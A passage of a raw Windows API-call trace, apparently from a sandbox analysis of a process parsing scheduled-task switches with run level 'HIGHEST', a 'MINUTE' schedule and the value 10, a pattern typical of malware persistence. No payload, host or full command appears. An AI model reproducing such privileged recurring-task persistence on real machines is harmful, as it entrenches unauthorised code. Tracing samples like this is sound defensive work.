SetLastError (dwErrCode=0x0) [0162.619] lstrlenW (lpString="HIGHEST") returned 7 [0162.619] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0162.619] SetLastError (dwErrCode=0x490) [0162.619] SetLastError (dwErrCode=0x0) [0162.619] _memicmp (_Buf1=0x18d570, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.619] lstrlenW (lpString="HIGHEST") returned 7 [0162.619] lstrlenW (lpString="HIGHEST") returned 7 [0162.619] lstrlenW (lpString=" \x09") returned 2 [0162.619] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0162.619] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0162.619] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0162.619] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0162.619] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0162.619] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0162.619] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0162.619] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0162.619] GetLastError () returned 0x0 [0162.619] lstrlenW (lpString="HIGHEST") returned 7 [0162.619] lstrlenW (lpString="HIGHEST") returned 7 [0162.619] SetLastError (dwErrCode=0x0) [0162.619] SetLastError (dwErrCode=0x0) [0162.619] lstrlenW (lpString="/f") returned 2 [0162.619] lstrlenW (lpString="-/") returned 2 [0162.619] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0162.619] lstrlenW (lpString="create") returned 6 [0162.619] lstrlenW (lpString="create") returned 6 [0162.619] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.619] lstrlenW (lpString="f") returned 1 [0162.619] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.619] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|create|") returned 8 [0162.619] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|f|") returned 3 [0162.620] lstrlenW (lpString="|create|") returned 8 [0162.620] lstrlenW (lpString="|f|") returned 3 [0162.620] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0162.620] SetLastError (dwErrCode=0x490) [0162.620] lstrlenW (lpString="?") returned 1 [0162.620] lstrlenW (lpString="?") returned 1 [0162.620] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.620] lstrlenW (lpString="f") returned 1 [0162.620] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.620] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|?|") returned 3 [0162.620] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|f|") returned 3 [0162.620] lstrlenW (lpString="|?|") returned 3 [0162.620] lstrlenW (lpString="|f|") returned 3 [0162.620] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0162.620] SetLastError (dwErrCode=0x490) [0162.620] lstrlenW (lpString="s") returned 1 [0162.620] lstrlenW (lpString="s") returned 1 [0162.620] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.620] lstrlenW (lpString="f") returned 1 [0162.620] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.620] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|s|") returned 3 [0162.620] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|f|") returned 3 [0162.620] lstrlenW (lpString="|s|") returned 3 [0162.620] lstrlenW (lpString="|f|") returned 3 [0162.620] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0162.620] SetLastError (dwErrCode=0x490) [0162.621] lstrlenW (lpString="u") returned 1 [0162.621] lstrlenW (lpString="u") returned 1 [0162.621] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.621] lstrlenW (lpString="f") returned 1 [0162.621] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.621] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|u|") returned 3 [0162.621] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|f|") returned 3 [0162.621] lstrlenW (lpString="|u|") returned 3 [0162.621] lstrlenW (lpString="|f|") returned 3 [0162.621] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0162.621] SetLastError (dwErrCode=0x490) [0162.621] lstrlenW (lpString="p") returned 1 [0162.621] lstrlenW (lpString="p") returned 1 [0162.621] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.621] lstrlenW (lpString="f") returned 1 [0162.621] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.621] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|p|") returned 3 [0162.621] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|f|") returned 3 [0162.621] lstrlenW (lpString="|p|") returned 3 [0162.621] lstrlenW (lpString="|f|") returned 3 [0162.621] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0162.621] SetLastError (dwErrCode=0x490) [0162.621] lstrlenW (lpString="ru") returned 2 [0162.621] lstrlenW (lpString="ru") returned 2 [0162.621] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.621] lstrlenW (lpString="f") returned 1 [0162.621] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.621] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|ru|") returned 4 [0162.621] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|f|") returned 3 [0162.622] lstrlenW (lpString="|ru|") returned 4 [0162.622] lstrlenW (lpString="|f|") returned 3 [0162.622] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0162.622] SetLastError (dwErrCode=0x490) [0162.622] lstrlenW (lpString="rp") returned 2 [0162.622] lstrlenW (lpString="rp") returned 2 [0162.622] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.622] lstrlenW (lpString="f") returned 1 [0162.622] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.622] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|rp|") returned 4 [0162.622] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|f|") returned 3 [0162.622] lstrlenW (lpString="|rp|") returned 4 [0162.622] lstrlenW (lpString="|f|") returned 3 [0162.622] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0162.622] SetLastError (dwErrCode=0x490) [0162.622] lstrlenW (lpString="sc") returned 2 [0162.645] lstrlenW (lpString="sc") returned 2 [0162.645] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.645] lstrlenW (lpString="f") returned 1 [0162.645] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.645] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|sc|") returned 4 [0162.645] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|f|") returned 3 [0162.645] lstrlenW (lpString="|sc|") returned 4 [0162.645] lstrlenW (lpString="|f|") returned 3 [0162.645] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0162.645] SetLastError (dwErrCode=0x490) [0162.645] lstrlenW (lpString="mo") returned 2 [0162.645] lstrlenW (lpString="mo") returned 2 [0162.645] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.645] lstrlenW (lpString="f") returned 1 [0162.645] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.645] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|mo|") returned 4 [0162.645] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|f|") returned 3 [0162.645] lstrlenW (lpString="|mo|") returned 4 [0162.645] lstrlenW (lpString="|f|") returned 3 [0162.645] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0162.645] SetLastError (dwErrCode=0x490) [0162.645] lstrlenW (lpString="d") returned 1 [0162.645] lstrlenW (lpString="d") returned 1 [0162.645] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.645] lstrlenW (lpString="f") returned 1 [0162.646] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.646] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|d|") returned 3 [0162.646] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|f|") returned 3 [0162.646] lstrlenW (lpString="|d|") returned 3 [0162.646] lstrlenW (lpString="|f|") returned 3 [0162.646] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0162.646] SetLastError (dwErrCode=0x490) [0162.646] lstrlenW (lpString="m") returned 1 [0162.646] lstrlenW (lpString="m") returned 1 [0162.646] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.646] lstrlenW (lpString="f") returned 1 [0162.646] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.646] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|m|") returned 3 [0162.646] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|f|") returned 3 [0162.646] lstrlenW (lpString="|m|") returned 3 [0162.646] lstrlenW (lpString="|f|") returned 3 [0162.646] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0162.646] SetLastError (dwErrCode=0x490) [0162.646] lstrlenW (lpString="i") returned 1 [0162.646] lstrlenW (lpString="i") returned 1 [0162.646] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.646] lstrlenW (lpString="f") returned 1 [0162.646] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.646] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|i|") returned 3 [0162.646] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|f|") returned 3 [0162.646] lstrlenW (lpString="|i|") returned 3 [0162.646] lstrlenW (lpString="|f|") returned 3 [0162.646] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0162.646] SetLastError (dwErrCode=0x490) [0162.647] lstrlenW (lpString="tn") returned 2 [0162.647] lstrlenW (lpString="tn") returned 2 [0162.647] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.647] lstrlenW (lpString="f") returned 1 [0162.647] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.647] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tn|") returned 4 [0162.647] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|f|") returned 3 [0162.647] lstrlenW (lpString="|tn|") returned 4 [0162.647] lstrlenW (lpString="|f|") returned 3 [0162.647] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0162.647] SetLastError (dwErrCode=0x490) [0162.647] lstrlenW (lpString="tr") returned 2 [0162.647] lstrlenW (lpString="tr") returned 2 [0162.647] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.647] lstrlenW (lpString="f") returned 1 [0162.647] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.647] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|tr|") returned 4 [0162.647] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|f|") returned 3 [0162.647] lstrlenW (lpString="|tr|") returned 4 [0162.647] lstrlenW (lpString="|f|") returned 3 [0162.647] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0162.647] SetLastError (dwErrCode=0x490) [0162.647] lstrlenW (lpString="st") returned 2 [0162.647] lstrlenW (lpString="st") returned 2 [0162.647] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.647] lstrlenW (lpString="f") returned 1 [0162.647] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.647] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|st|") returned 4 [0162.647] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|f|") returned 3 [0162.647] lstrlenW (lpString="|st|") returned 4 [0162.648] lstrlenW (lpString="|f|") returned 3 [0162.648] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0162.648] SetLastError (dwErrCode=0x490) [0162.648] lstrlenW (lpString="sd") returned 2 [0162.648] lstrlenW (lpString="sd") returned 2 [0162.648] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.648] lstrlenW (lpString="f") returned 1 [0162.648] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.648] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|sd|") returned 4 [0162.648] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|f|") returned 3 [0162.648] lstrlenW (lpString="|sd|") returned 4 [0162.648] lstrlenW (lpString="|f|") returned 3 [0162.648] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0162.648] SetLastError (dwErrCode=0x490) [0162.648] lstrlenW (lpString="ed") returned 2 [0162.648] lstrlenW (lpString="ed") returned 2 [0162.648] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.648] lstrlenW (lpString="f") returned 1 [0162.648] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.648] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|ed|") returned 4 [0162.648] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|f|") returned 3 [0162.648] lstrlenW (lpString="|ed|") returned 4 [0162.648] lstrlenW (lpString="|f|") returned 3 [0162.648] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0162.648] SetLastError (dwErrCode=0x490) [0162.648] lstrlenW (lpString="it") returned 2 [0162.649] lstrlenW (lpString="it") returned 2 [0162.649] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.649] lstrlenW (lpString="f") returned 1 [0162.649] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.649] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|it|") returned 4 [0162.649] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|f|") returned 3 [0162.649] lstrlenW (lpString="|it|") returned 4 [0162.649] lstrlenW (lpString="|f|") returned 3 [0162.649] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0162.649] SetLastError (dwErrCode=0x490) [0162.649] lstrlenW (lpString="et") returned 2 [0162.649] lstrlenW (lpString="et") returned 2 [0162.649] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.649] lstrlenW (lpString="f") returned 1 [0162.649] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.649] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|et|") returned 4 [0162.649] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|f|") returned 3 [0162.649] lstrlenW (lpString="|et|") returned 4 [0162.649] lstrlenW (lpString="|f|") returned 3 [0162.649] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0162.649] SetLastError (dwErrCode=0x490) [0162.649] lstrlenW (lpString="k") returned 1 [0162.649] lstrlenW (lpString="k") returned 1 [0162.649] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.649] lstrlenW (lpString="f") returned 1 [0162.649] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.649] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|k|") returned 3 [0162.649] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|f|") returned 3 [0162.649] lstrlenW (lpString="|k|") returned 3 [0162.649] lstrlenW (lpString="|f|") returned 3 [0162.650] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0162.650] SetLastError (dwErrCode=0x490) [0162.650] lstrlenW (lpString="du") returned 2 [0162.650] lstrlenW (lpString="du") returned 2 [0162.650] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.650] lstrlenW (lpString="f") returned 1 [0162.650] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.650] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|du|") returned 4 [0162.650] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|f|") returned 3 [0162.650] lstrlenW (lpString="|du|") returned 4 [0162.650] lstrlenW (lpString="|f|") returned 3 [0162.650] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0162.650] SetLastError (dwErrCode=0x490) [0162.650] lstrlenW (lpString="ri") returned 2 [0162.650] lstrlenW (lpString="ri") returned 2 [0162.650] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.650] lstrlenW (lpString="f") returned 1 [0162.650] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.650] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|ri|") returned 4 [0162.650] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|f|") returned 3 [0162.650] lstrlenW (lpString="|ri|") returned 4 [0162.650] lstrlenW (lpString="|f|") returned 3 [0162.650] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0162.650] SetLastError (dwErrCode=0x490) [0162.650] lstrlenW (lpString="z") returned 1 [0162.650] lstrlenW (lpString="z") returned 1 [0162.651] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.651] lstrlenW (lpString="f") returned 1 [0162.651] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.651] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|z|") returned 3 [0162.651] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|f|") returned 3 [0162.651] lstrlenW (lpString="|z|") returned 3 [0162.651] lstrlenW (lpString="|f|") returned 3 [0162.651] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0162.651] SetLastError (dwErrCode=0x490) [0162.651] lstrlenW (lpString="f") returned 1 [0162.651] lstrlenW (lpString="f") returned 1 [0162.651] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.651] lstrlenW (lpString="f") returned 1 [0162.651] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.651] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|f|") returned 3 [0162.651] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c248 | out: _Buffer="|f|") returned 3 [0162.651] lstrlenW (lpString="|f|") returned 3 [0162.651] lstrlenW (lpString="|f|") returned 3 [0162.651] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0162.651] SetLastError (dwErrCode=0x0) [0162.651] SetLastError (dwErrCode=0x0) [0162.651] GetProcessHeap () returned 0x170000 [0162.651] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cdf0 [0162.651] _memicmp (_Buf1=0x18bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.651] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x18d2f0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0162.651] lstrlenW (lpString="LIMITED") returned 7 [0162.651] GetProcessHeap () returned 0x170000 [0162.651] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x10) returned 0x18d590 [0162.652] GetThreadLocale () returned 0x409 [0162.652] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0162.652] GetProcessHeap () returned 0x170000 [0162.652] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cdc0 [0162.652] _memicmp (_Buf1=0x18bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.652] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x18d2f0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0162.652] lstrlenW (lpString="HIGHEST") returned 7 [0162.652] GetProcessHeap () returned 0x170000 [0162.652] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x10) returned 0x18d5b0 [0162.652] GetThreadLocale () returned 0x409 [0162.652] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0162.652] GetProcessHeap () returned 0x170000 [0162.652] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cd90 [0162.652] _memicmp (_Buf1=0x18bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.652] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x18d2f0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0162.652] lstrlenW (lpString="MINUTE") returned 6 [0162.652] GetProcessHeap () returned 0x170000 [0162.652] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xe) returned 0x18d5d0 [0162.652] GetThreadLocale () returned 0x409 [0162.652] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0162.652] SetLastError (dwErrCode=0x0) [0162.652] GetProcessHeap () returned 0x170000 [0162.652] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x1fc) returned 0x18c460 [0162.652] GetProcessHeap () returned 0x170000 [0162.652] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cd60 [0162.653] _memicmp (_Buf1=0x18bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.653] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x18d2f0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0162.653] lstrlenW (lpString="First") returned 5 [0162.653] GetProcessHeap () returned 0x170000 [0162.653] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xc) returned 0x18d5f0 [0162.653] GetProcessHeap () returned 0x170000 [0162.653] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cd30 [0162.653] _memicmp (_Buf1=0x18bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.653] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x18d2f0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0162.653] lstrlenW (lpString="Second") returned 6 [0162.653] GetProcessHeap () returned 0x170000 [0162.653] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xe) returned 0x18d610 [0162.653] GetProcessHeap () returned 0x170000 [0162.653] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cd00 [0162.653] _memicmp (_Buf1=0x18bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.653] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x18d2f0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0162.653] lstrlenW (lpString="Third") returned 5 [0162.653] GetProcessHeap () returned 0x170000 [0162.653] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xc) returned 0x18d630 [0162.654] GetProcessHeap () returned 0x170000 [0162.654] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18ccd0 [0162.654] _memicmp (_Buf1=0x18bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.654] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x18d2f0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0162.654] lstrlenW (lpString="Fourth") returned 6 [0162.654] GetProcessHeap () returned 0x170000 [0162.654] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xe) returned 0x18d650 [0162.654] _memicmp (_Buf1=0x18bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.654] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x18d2f0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0162.654] lstrlenW (lpString="Last") returned 4 [0162.654] GetProcessHeap () returned 0x170000 [0162.654] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xa) returned 0x18d670 [0162.654] lstrlenW (lpString="10") returned 2 [0162.654] _wtol (_String="10") returned 10 [0162.654] _memicmp (_Buf1=0x18bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.654] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x18d2f0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0162.654] lstrlenW (lpString="First") returned 5 [0162.654] _memicmp (_Buf1=0x18bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.654] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x18d2f0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0162.654] lstrlenW (lpString="Second") returned 6 [0162.654] _memicmp (_Buf1=0x18bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.654] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x18d2f0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0162.654] lstrlenW (lpString="Third") returned 5 [0162.654] _memicmp (_Buf1=0x18bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.654] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x18d2f0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0162.654] lstrlenW 